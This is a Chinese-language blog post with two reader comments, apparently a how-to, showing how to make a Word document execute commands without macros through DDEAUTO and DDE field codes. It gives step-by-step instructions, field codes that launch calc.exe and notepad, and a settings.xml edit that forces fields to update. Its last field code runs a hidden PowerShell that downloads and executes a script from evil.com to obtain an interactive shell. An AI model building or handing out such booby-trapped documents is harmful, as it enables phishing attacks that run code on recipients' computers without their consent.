MSWord Code Exec Without Macro
in 技术分享奇技淫巧 with 2 comments

MSWord Code Exec Without Macro

in 技术分享奇技淫巧 with 2 comments

今天学到了一个新的Word执行代码的方式,也是不需要启用宏的,所以分享给大家一波。操作也挺简单的。
首先新建一个word文档,然后插入域:

1507690693509.png

选择 = (Formula)

1507690775534.png

右键,切换域代码

1507690814044.png

代码处修改为:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

1507690880290.png

之后,右键更新域,再把文档改成docx格式即可。最终效果如下:

2.gif

比较鸡肋的是点是以后才会执行。

除了使用DDEAUTO,使用DDE也是可以的,具体如下:

{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

需要注意的是,使用DDE不会自动执行,需要对文档进行修改,将文档重命名为rar,打开以后修改 word/settings.xml,添加

<w:updateFields w:val="true"/>

使用DDE效果如下:

dde.gif

个人感觉使用DDE效果更好点。

如何获取交互式shell ?

{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evil.com/evil.ps1');powershell -e $e "}
Responses
  1. word无法从c:\windows\system32\cmd.exe中为c notepad和获取数据。

    Reply
  2. whoami

    其实这个类似于前段时间那个csv的公式漏洞,都需要用户反复确认,有点鸡肋

    Reply